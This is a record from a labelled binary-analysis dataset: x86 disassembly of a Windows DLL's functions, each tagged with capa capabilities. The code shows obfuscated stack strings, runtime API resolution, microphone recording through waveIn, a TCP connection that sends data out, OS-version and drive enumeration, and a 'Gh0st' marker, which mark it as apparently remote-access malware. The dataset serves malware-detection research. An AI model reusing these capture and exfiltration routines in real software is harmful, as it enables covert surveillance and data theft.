joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001490
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, dword [0x1001a538]
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push edi
push str.waveInGetNumDevs
mov edi, ecx
push eax
call ebp
call eax
test eax, eax
jne 0x100014bc
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc
ret
mov ecx, dword [0x1001a538]
push str.waveInOpen
push ecx
call ebp
push str.CreateThread
push str.KERNEL32.dll
mov esi, eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
lea edx, [esp + 0x10]
push edx
push 4
push edi
push 0x100016d0
push 0
push 0
call eax
mov dword [edi + 0x2c], eax
mov eax, dword [esp + 0x10]
push 0x20000
push 0
lea ecx, [edi + 0x46]
push eax
lea ebx, [edi + 0x18]
push ecx
push 0xffff
push ebx
call esi
test eax, eax
je 0x10001526
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc
ret
mov edx, dword [0x1001a538]
push str.waveInPrepareHeader
push edx
call ebp
mov dword [esp + 0x18], eax
lea esi, [edi + 0x30]
mov dword [esp + 0x14], 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [esp + 0x24]
mov eax, dword [esp + 0x14]
add esi, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x10001543
mov edx, dword [0x1001a538]
push str.waveInAddBuffer
push edx
call ebp
mov ecx, dword [edi + 0x1c]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
mov ecx, dword [ebx]
push edx
push ecx
call eax
push str.ResumeThread
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
mov edx, dword [edi + 0x2c]
push edx
call eax
mov eax, dword [0x1001a538]
push str.waveInStart
push eax
call ebp
mov ecx, dword [ebx]
push ecx
call eax
mov al, 1
mov byte [edi + 0x44], al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x10001b40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
push ebx
mov ebx, ecx
mov al, 0x6c
mov cl, 0x65
push ebp
mov dl, 0x72
mov byte [esp + 0xd], al
mov byte [esp + 0x12], al
mov byte [esp + 0x13], al
mov byte [esp + 0x24], al
push esi
mov byte [esp + 0xd], cl
mov byte [esp + 0x10], cl
mov byte [esp + 0x1f], cl
mov byte [esp + 0x2a], cl
lea eax, [esp + 0x1c]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x12], dl
mov byte [esp + 0x24], dl
mov byte [esp + 0x26], dl
lea ecx, [esp + 0x10]
mov dl, 0x69
push eax
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], 0
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2d], 0x43
mov byte [esp + 0x2f], dl
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x31], dl
mov byte [esp + 0x32], 0x63
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x35], 0x53
mov byte [esp + 0x37], 0x63
mov byte [esp + 0x38], 0x74
mov byte [esp + 0x39], dl
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ebp, [ebx + 0x10]
push ebp
call eax
mov ecx, ebx
call fcn.10001e60
mov esi, dword [esp + 0x40]
mov ecx, ebx
add eax, esi
push eax
call fcn.10001e70
cmp eax, 0xffffffff
jne 0x10001c48
push str.LeaveCriticalSection
push str.kernel32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebp
call eax
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret 8
mov edi, dword [ebx + 8]
mov ecx, esi
mov esi, dword [esp + 0x3c]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push str.LeaveCriticalSection
and ecx, 3
push str.kernel32.dll
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x48]
mov eax, dword [ebx + 8]
add eax, esi
mov dword [ebx + 8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebp
call eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 8
Function at 0x10001ca0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
push ebx
push ebp
mov ebp, ecx
mov al, 0x6c
mov cl, 0x65
mov dl, 0x72
mov byte [esp + 0x11], al
mov byte [esp + 0x16], al
mov byte [esp + 0x17], al
mov byte [esp + 0x28], al
push esi
mov byte [esp + 0x11], cl
mov byte [esp + 0x14], cl
mov byte [esp + 0x23], cl
mov byte [esp + 0x2e], cl
lea eax, [esp + 0x20]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x16], dl
mov byte [esp + 0x28], dl
mov byte [esp + 0x2a], dl
lea ecx, [esp + 0x14]
mov bl, 0x74
mov dl, 0x69
push eax
push ecx
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0x2c], 0x45
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], bl
mov byte [esp + 0x31], 0x43
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], dl
mov byte [esp + 0x36], 0x63
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x39], 0x53
mov byte [esp + 0x3b], 0x63
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], 0x6f
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esi, [ebp + 0x10]
push esi
mov dword [esp + 0x14], esi
call ebx
mov ecx, ebp
call fcn.10001e50
mov ebx, dword [esp + 0x44]
cmp ebx, eax
jbe 0x10001daa
push str.LeaveCriticalSection
push str.kernel32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
call eax
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2c
ret 8
mov ecx, ebp
call fcn.10001e60
cmp ebx, eax
jbe 0x10001dbe
mov ecx, ebp
call fcn.10001e60
mov ebx, eax
test ebx, ebx
je 0x10001e14
mov esi, dword [ebp + 4]
mov edi, dword [esp + 0x40]
mov ecx, ebx
push 0
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call esi
mov edi, dword [ebp + 4]
mov ecx, ebp
call fcn.10001e50
sub eax, ebx
push eax
lea eax, [edi + ebx]
push eax
push edi
call dword [sym.imp.MSVCRT.dll_memmove]
add esp, 0xc
push 0
call esi
mov eax, dword [ebp + 8]
mov esi, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub eax, ebx
mov dword [ebp + 8], eax
mov ecx, ebp
call fcn.10001e60
push eax
mov ecx, ebp
call fcn.10001f60
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push str.LeaveCriticalSection
push str.kernel32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
call eax
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x2c
ret 8
Function at 0x10002080
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
mov esi, ecx
mov al, 0x6c
mov cl, 0x65
mov dl, 0x72
mov byte [esp + 0x11], al
mov byte [esp + 0x16], al
mov byte [esp + 0x17], al
mov byte [esp + 0x28], al
mov byte [esp + 0xd], cl
mov byte [esp + 0x10], cl
mov bl, 0x74
mov byte [esp + 0x1f], cl
mov byte [esp + 0x2a], cl
lea eax, [esp + 0x1c]
push edi
mov byte [esp + 0x12], dl
mov byte [esp + 0x24], dl
mov byte [esp + 0x26], dl
lea ecx, [esp + 0x10]
mov byte [esp + 0x22], bl
mov dl, 0x69
mov byte [esp + 0x28], bl
mov byte [esp + 0x30], bl
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], 0
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2d], 0x43
mov byte [esp + 0x2f], dl
mov byte [esp + 0x31], dl
mov byte [esp + 0x32], 0x63
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x35], 0x53
mov byte [esp + 0x37], 0x63
mov byte [esp + 0x39], dl
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
lea edi, [esi + 0x10]
push edi
call eax
mov edx, dword [esi + 4]
push 0x400
mov ecx, esi
mov dword [esi + 8], edx
call fcn.10001f60
push str.LeaveCriticalSection
push str.kernel32.dll
call ebx
push eax
call ebp
push edi
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x10002190
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10014878
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001a80
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], ebx
call fcn.10001a80
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001a80
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001a80
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x10015338
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push ebx
push ebx
push 1
push ebx
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], bl
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x68
mov byte [esp + 0x12], 0x30
mov byte [esp + 0x13], 0x73
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x74
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x10002440
Capabilities:
Contain obfuscated stackstrings
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.100029f0
mov ebp, dword [sym.imp.MSVCRT.dll_puts]
push 0x100180d0
call ebp
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100180d0
mov byte [esi + 0xb5], 0
call ebp
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [esi + 0xa8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0xa8], 0xffffffff
jne 0x100024ab
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x38
ret 8
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
mov ecx, dword [esp + 0x50]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov ebx, eax
call edi
add esp, 4
test ebx, ebx
jne 0x100024dc
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x38
ret 8
push 0x100180d0
mov word [esp + 0x3c], 2
call ebp
mov edx, dword [esp + 0x54]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [esp + 0x3e], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [esp + 0x3c], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.connect
push str.WS2_32.DLL
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x38]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x10002552
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x38
ret 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x30
mov byte [esp + 0x17], 1
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 0x13]
push 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10002643
mov al, 0x32
lea edx, [esp + 0x14]
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov al, 0x6c
push edx
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x1f], al
lea eax, [esp + 0x24]
push eax
mov byte [esp + 0x28], 0x77
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2b], 0x5f
mov byte [esp + 0x2c], 0x33
mov byte [esp + 0x2e], 0x2e
mov byte [esp + 0x2f], 0x64
mov byte [esp + 0x32], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x53
mov byte [esp + 0x1e], 0x41
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x63
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x24], 0
call ebx
push eax
call ebp
push 0x30
mov ebp, eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0xea60
mov dword [esp + 0x38], 0x1388
call edi
add esp, 4
mov eax, dword [esi + 0xa8]
lea ecx, [esp + 0x13]
lea edx, [esp + 0x2c]
push 0
push 0
push ecx
push 0
push 0
push 0xc
push edx
push 0x98000004
push eax
call ebp
push 0x30
call edi
add esp, 4
push 1
push 0
push 0
push esi
push 0x10002680
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.1000b770
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 8
Function at 0x100029f0
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov esi, ecx
push 0x30
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret

Function at 0x10002c20
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, ebx
cmp ebx, esi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], edi
jb 0x10002cc1
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x24], 0
push 0x100180d0
call dword [sym.imp.MSVCRT.dll_puts]
mov eax, dword [esp + 0x18]
add esp, 4
mov ecx, dword [eax + 0xa8]
push 0
push esi
push ebp
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebx
test edi, edi
jg 0x10002c92
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0xf
mov dword [esp + 0x24], eax
jl 0x10002c57
cmp dword [esp + 0x24], 0xf
je 0x10002cf7
mov edx, dword [esp + 0x1c]
push 0
add edx, edi
add ebp, esi
mov dword [esp + 0x20], edx
call ebx
push 0xa
call ebx
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x10002c4f
mov ebx, dword [esp + 0x20]
mov edi, eax
test edi, edi
jle 0x10002cef
xor esi, esi
mov edx, dword [esp + 0x14]
push 0
push edi
push ebp
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002ce6
inc esi
cmp esi, 0xf
jl 0x10002cc7
cmp esi, 0xf
je 0x10002cf7
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x10002cfa
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0xc

Function at 0x10002d20
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x10002d33
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10002d61
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret
Function at 0x10002e80
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002f28
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push 0
push 0x10018264
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x14]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x10002f70
lea eax, [esp + 0x14]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x10002f70
lea ecx, [esp + 0x14]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10002f70
pop edi
pop esi
add esp, 0x190
ret
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret
Function at 0x100044d0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10015358
push 0x10014658
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10004647
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10004587
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10004587
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004562
cmp al, 0x5c
je 0x10004562
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x1000454a
cmp byte [esi], 0
je 0x1000456b
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004580
cmp al, 0x5c
je 0x10004580
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10004568
cmp byte [esi], 0
je 0x100045a6
jmp 0x100045a2
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100045a6
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100045a6
cmp al, 0x5c
jne 0x100045a6
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x1000460b
cmp al, 0x5c
jne 0x100045fd
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x100045f0
push 0
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x100045fa
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x100045fa
push 0
call ebx
push edi
jmp 0x1000463e
and eax, 0x10
cmp al, 0x10
je 0x100045fa
push edi
jmp 0x1000463e
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100045ac
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100046d0
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
lea eax, [esp + 0x138]
push edi
push eax
mov dword [esp + 0x2c], ecx
push 0x100
mov byte [esp + 0x3a4], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x34], eax
mov al, byte [esp + 0x13c]
test al, al
mov ebx, 1
je 0x1000488e
jmp 0x1000474b
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x240]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x34c]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x38]
inc edi
push ecx
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x100047fb
cmp al, 0x42
je 0x100047fb
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x100047fb
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.10014660
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10014660
mov dword [esp + 0x14], eax
jmp 0x10004801
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a0], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x39d], al
mov eax, ecx
mov dword [esp + ebx + 0x39e], esi
lea esi, [esp + 0x34c]
lea edi, [esp + ebx + 0x3a6]
mov dword [esp + ebx + 0x3a2], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x2c]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x3c]
lea edi, [esp + edx + 0x3aa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10004749
mov edi, dword [esp + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x39c]
push ebx
push edx
call fcn.10008420
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret